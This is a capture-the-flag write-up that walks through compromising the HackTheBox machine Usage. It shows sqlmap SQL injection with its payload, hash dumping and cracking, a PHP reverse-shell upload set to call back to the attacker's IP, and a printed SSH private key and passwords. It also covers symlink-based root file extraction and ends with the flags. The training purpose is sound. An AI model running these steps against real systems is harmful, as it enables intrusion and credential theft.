HackTheBox | Usage

In this walkthrough, I demonstrate how I obtained complete ownership of Usage on HackTheBox
In: HackTheBox, Attack, CTF, Linux, Easy Challenge
Owned Usage from Hack The Box!
I have just owned machine Usage from Hack The Box

Nmap Results

# Nmap 7.94SVN scan initiated Mon Apr 15 15:17:08 2024 as: nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.10.11.18
Nmap scan report for 10.10.11.18
Host is up (0.013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 15 15:17:24 2024 -- 1 IP address (1 host up) scanned in 16.01 seconds

In the nmap output for tcp/80, we can see the redirect to http://usage.htb, so let's go ahead and add that to our /etc/hosts file.

echo '10.10.11.18        usage.htb' | sudo tee -a /etc/hosts





Service Enumeration

TCP/80

Walking the Application

The Admin link points to a different virtual host, so let's get that added to the /etc/hosts file as well.

echo '10.10.11.18        admin.usage.htb' | sudo tee -a /etc/hosts

For now, let's just walk the application โ€” clicking around and interacting as a user would. There is a link to register an account, let's do so.

I created the account test@localhost.loc:testtesttest
โ„น๏ธ
It's obvious when looking at the Cookie: header that this is a Laravel server
Successfully logged in with my test account
๐Ÿšซ
The default credentials of admin:admin did not work on this server, nor some simple guesses. Laravel uses rate limiting by default to prevent brute force guessing of passwords, making this an infeasible attack.



Gobuster Enumeration

๐Ÿšซ
As mentioned above, Laravel uses rate limiting by default and this affects our ability to brute force directories and files. I was able to get it to work with a 10ms delay between requests, but it's just too slow and obviously not the intended attack path.
โœ…
I was able to gobuster in vhost mode, but this only returned admin.usage.htb as a valid Virtual Host, which we already know.



Testing Input Points

So far, we only have the following input points:

  • User Login Form
  • User Registration Form
  • Password Reset Form
  • Admin Login Form

We should test these inputs for weaknesses such as SQL injection. a โ€”

The password reset form seems like it might be vulnerable to SQLi

I tested the password reset form with ';-- and ' and both times the server returned a HTTP 500 error. It also does not appear to be doing any checks to make sure the input is actually an email address.

๐Ÿ’ก
Because the server responds with different behaviors based on the content of the input โ€” especially input that pertains to SQL queries โ€” this should pique our interest to probe it further



Testing SQL Injection with sqlmap

Start by filling out the form with a valid value and catch the request in Burp. Then, save the contents of the request in a file (e.g. req.txt).

req.txt

POST /forget-password HTTP/1.1
Host: usage.htb
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://usage.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://usage.htb/forget-password
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: XSRF-TOKEN=eyJpdiI6IktHNXlRcXhzLzMvMkU2OFFjdnBjTUE9PSIsInZhbHVlIjoiOFJBbVY3QzJSNjlPYjRBV2wyYW5vYmRtTmF4QmRDMmJqanhTTnN4eEhmZFprb2dEenJ2bUw5V2hiSms2WjJFbkpvRHUzK2VPNGFxclhtZ2VXZ2QycS9MR2xmQ2YxanJWMVRPU2xuZjJ0Qi93cWVUMGRmYTVWd3QxUkFTOHA2Mm4iLCJtYWMiOiI1MTQ0NmRhM2M5OTg4ZDQ0ZGIxMjdlZWRmYjBjOGQ0OWQ4NWIwMDk1NGQ5NzQxZjMyZjRjZGE5MDRkN2Q4ZTJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjhBTmZYV0pXQzJ6YjVwK3ZxbUY0akE9PSIsInZhbHVlIjoic1ZMaHcwOFI0cFp0Vjd1R2NuZjRDTmord2RMNE5GdmMrRlFYdm40WGhPVlhMcGdSd01pQ1RKblh5YUJOUmNVeFJQVlBHUE9NWktkS0tYSVJEWXJXSUpnbmdWWW9BV3VCaTg4NDdxYkV4ZnIyVjlQOGdmTlZIek5GMUNtZlZjRHEiLCJtYWMiOiI5YzFkYWEzYzA2NTYyYmRhYzU2YzdhZjY0MzdiZmU1YTQ2NDZjMmQyMjQxMWY3MjE2YzNmNTZlMzg0MmYwNDFlIiwidGFnIjoiIn0%3D
Connection: close

_token=vzo0MhF6e7BKZsFsUuU40Z1mHjrfeqytnYq1Maz2&email=test%40localhost.local

Now, we can use req.txt to build from with sqlmap.

โ„น๏ธ
For transparency's sake, I'm going to show the thought process behind testing with sqlmap in the collapsible box below, just so you can see my thought process.

Iterative Approach to sqlmap

First Attempt

I try with -t 10 to see if the server will rate-limit me. It does not appear to.

# -r req.txt         : our request file from Burp
# --batch            : accept all default options at prompts
# -p email           : vulnerable parameter
# --ignore-redirects : ignore any attempts by the web app to redirect us
# --dbs              : enuemrate databases
# --threads 10       : number of concurrent threads
sqlmap -r req.txt --batch -p email --ignore-redirects --dbs --threads 10

This does not produce any results


Second Attempt


# --level 2 : increase the variety of attacks
# note that this is still at the default risk level of 1
sqlmap -r req.txt --batch -p email --ignore-redirects --dbs --threads 10 --level 3 

This produces the following log lines:


[18:43:28] [INFO] POST parameter 'email' appears to be 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable (with --code=302)
[18:43:30] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'

I'm going to press CTRL + C to quit and exit out of batch mode, as this is going to run some additional tests that I don't care to run.


Using the above iterative approach to sqlmap, we are able to fine-tune the attack to test for rate-limiting and increase the --level and / or --risk parameters to find a valid payload.

And now that we know the email parameter is vulnerable to SQL injection and that the backend DBMS is likely MySQL, we can continue to the next iteration of the attack.

# --dbms mysql : specify the known DBMS
# Everything else is the same
sqlmap -r req.txt --batch -p email --ignore-redirects --dbms=mysql --dbs --threads 10 --level 2

Enumerate database names

โœ…
The nice thing about sqlmap is that it will use the log files in ~/.local/share/sqlmap to pick up from where we left off before. So, there's no need to re-test when using our iterative approach.
sqlmap identified the following injection point(s) with a total of 304 HTTP(s) requests:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: _token=vzo0MhF6e7BKZsFsUuU40Z1mHjrfeqytnYq1Maz2&email=test@localhost.loc' AND 6548=(SELECT (CASE WHEN (6548=6548) THEN 6548 ELSE (SELECT 2420 UNION SELECT 9441) END))-- -
---

available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog


And now that we have a valid database name โ€” usage_blog โ€” we can get the tables in the blog.

# -D usage_blog : the databse to use
# --tables      : enumerate database table names
# --threads 10  : number of threads 
sqlmap -r req.txt --batch -p email --ignore-redirects -D usage_blog --tables --threads 10 --threads=10 --level 2

Enumerate tables in the usage_blog database

+------------------------+
| admin_menu             |
| admin_operation_log    |
| admin_permissions      |
| admin_role_menu        |
| admin_role_permissions |
| admin_role_users       |
| admin_roles            |
| admin_user_permissions |
| admin_users            |
| blog                   |
| failed_jobs            |
| migrations             |
| password_reset_tokens  |
| personal_access_tokens |
| users                  |
+------------------------+


And finally, now that we have a valid table name โ€” admin_users โ€” we can get the columns and rows from the table and hopefully find some hashes.

# -T admin_users : table to use
# --dump         : dump columns and rows form the table
# everything else is the same
sqlmap -r req.txt --batch -p email --ignore-redirects -D usage_blog -T admin_users --dump --threads 10 --threads=10 --level 2
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| id | name          | avatar  | password                                                     | username | created_at          | updated_at          | remember_token                                               |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| 1  | Administrator | <blank> | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin    | 2023-08-13 02:48:26 | 2023-08-23 06:02:19 | kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
echo '$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2' > hash
john --wordlist=rockyou.txt hash





Exploit

๐Ÿ’ก
When I was poking around in the application, I started googling some of the URLs I was seeing to understand the application and its dependencies more. When I Googled the /vendor/laravel-admin/AdminLTE URL, I found a possible exploit early on.
The target is run 1.8.18 which is vulnerable
CVE-2023-24249 | flyD
php-reverse-shell/src/reverse/php_reverse_shell.php at master ยท ivan-sincek/php-reverse-shell
PHP shells that work on Linux OS, macOS, and Windows OS. - ivan-sincek/php-reverse-shell
wget https://raw.githubusercontent.com/ivan-sincek/php-reverse-shell/master/src/reverse/php_reverse_shell.php -O sh.jpg

Download and save with .jpg extension

nano sh.jpg

Edit the PHP script

sh = new Shell('10.10.14.145', 443);

Substitute with your HTB VPN IP and chosen TCP port

Go to 'Setting'
Click on 'Browse'
Intercept the request in your proxy and change to filename="sh.jpg.php"
Right-click the 'Download' button and choose 'Copy link address'
โ„น๏ธ
Run python3 -c "import pty; pty.spawn('/bin/bash')" to get a more stable interactive TTY.





Post-Exploit Enumeration

Operating Environment

OS & Kernel

PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

Linux usage 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux    

Current User

uid=1000(dash) gid=1000(dash) groups=1000(dash)

Sorry, user dash may not run sudo on usage.    



Users and Groups

Local Users

xander:x:1001:1001::/home/xander:/bin/bash    

Local Groups

xander:x:1001:    



Network Configurations

Network Interfaces

eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:f6:37 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.10.11.18/23 brd 10.10.11.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:f637/64 scope global dynamic mngtmpaddr 
       valid_lft 86396sec preferred_lft 14396sec
    inet6 fe80::250:56ff:feb9:f637/64 scope link 
       valid_lft forever preferred_lft forever   

Open Ports

tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:2812          0.0.0.0:*               LISTEN      2684/monit



Interesting Files

/home/dash/.ssh/id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
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
63zj5LQZw2/NvnAAAACmRhc2hAdXNhZ2U=
-----END OPENSSH PRIVATE KEY-----    





Privilege Escalation

Lateral to Dash

tocuh id_rsa
chmod 600 id_rsa
nano id_rsa

Paste the contents of the SSH private key for the dash user within and save

ssh -i id_rsa dash@usage.htb

Interesting Files

Poking around the file system more with the SSH shell, I found some additional files that look interesting:

  • /var/backups/project.zip
  • /var/backups/mysql_backup.sql
๐Ÿ›‘
Unfortunately, after copying these files to Kali and poring over them, I was not able to find anything to aid with privilege escalation, although I did find some password hashes that cracked to xander

Port Forwarding

โ„น๏ธ
The first time I connected to the box, the internal port on tcp/2812 was not running, so privilege escalation took a bit longer, but became much easier after a box reset
A Google search for this TCP port suggested it might be monit
find / -name '*monit*' 2>/dev/null
/home/dash/.monitrc
/home/dash/.monit.state
/home/dash/.monit.id
/home/dash/.monit.pid
cat /home/dash/.monitrc
#Enable Web Access
set httpd port 2812
     use address 127.0.0.1
     allow admin:3nc0d3d_pa$$w0rd

Found a password for the monit web portal

ssh -i id_rsa -f -N -L 127.0.0.1:2812:127.0.0.1:2812 dash@usage.htb

Listen on 127.0.0.1:2812 on Kali and forward to 127.0.0.1:2812 on the target



Lateral to Xander

If you find a working password, it's always a good idea to test for password re-use on other accounts. And in this case, the password for the monit application just happens to be the password for the xander account โ€” xander:3nc0d3d_pa$$w0rd

Using strings to inspect the binary, we can see that one of the options invokes /usr/bin/7za to do a recursive archiving of the /var/www/html folder.

๐Ÿ’ก
You can run 7za --help on the box to learn more about the options
We have write permission on this folder
ln -s /root /var/www/html/root

Create a symbolic link of /root to/var/www/html/root

7za x -y /var/backups/project.zip -o/tmp/.root root

Extract only the root directory from the archive and put it in /tmp/.root



Flags

User

49cc9446c529739f1a97f8c4f26c319e    

Root

6434b9cab932a0eb4b64132ef8b69247    
More from 0xBEN
Table of Contents
Great! Youโ€™ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.